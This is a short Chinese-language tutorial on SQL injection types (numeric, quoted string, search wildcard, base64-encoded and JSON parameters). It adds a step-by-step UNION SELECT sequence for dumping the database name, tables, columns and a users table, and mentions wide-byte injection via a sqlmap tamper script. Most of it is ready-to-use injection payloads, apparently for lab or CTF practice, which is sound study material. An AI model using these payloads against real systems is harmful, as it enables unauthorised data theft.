数据类型注入
个人介绍
id:故事 普通的web喵
详细视频
一、通常注入类型:数字型 字符型 搜索型 加密型(base64 json)等
1)数字型 一般没有符号考虑 news?id=1
1/前台页面输入的参数是「数字」,比如下面这个根据ID查询用户的功能。
id=-1 UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
2)字符型 一般闭合单引号 ?gtpl=simple
前台页面输入的参数是「字符串」。
不加引号他会把他当成个变量而不是字符进行匹配
SELECT * FROM sy_guestbook WHERE gLogo="tpl/guestbook/default/images/logo.jpg";
字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」不同,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入,黑盒单引号,双引号都有尝试。
3)搜索型 一般闭合单引号加通配符%(例如:flag.*) ?search=喵
查询的过程有通倍符
search=aaa%' UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='
4)编码型 注入payload需要进行编码后发送 ?base=MQ==
base=LTEgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3
1、解码后带入数据库进行SQ语句的执行。
2、在注入的时候,我们要尝试对payload进行编码提交。
5)表达型 json 符合格式进行注入即可
POST:json={“username”:“admin”} (键值对)
$sql="SELECT * FROM users WHERE username='{$username}'";
也就是说我们只需要闭合单引号就可以了
注入语句:
json={“username”:“admin’ order by 3#”}
json={“username”:“-admin’ union select 1,2,3#”}
二、查询的一般步骤
1、查询数据库名:
gtpl=simple' UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+
2、查询当前数据库下的表名:
gtpl=-simple' UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'--+
3、查询当前数据库下的表下的列:
gtpl=-simple' UNION SELECT group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_schema='syguestbook' and table_name='users'--+
4、查询数据:
gtpl=-simple' UNION SELECT group_concat(userflag),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from users--+
三、宽字节注入
汉字站用两个字节使得 / 无法出现
宽字节用sqlmap注入 参数:–tamper unmagicquotes.py
https://www.cnblogs.com/bmjoker/p/9326258.html
###学习交流的可以加Q群:622816049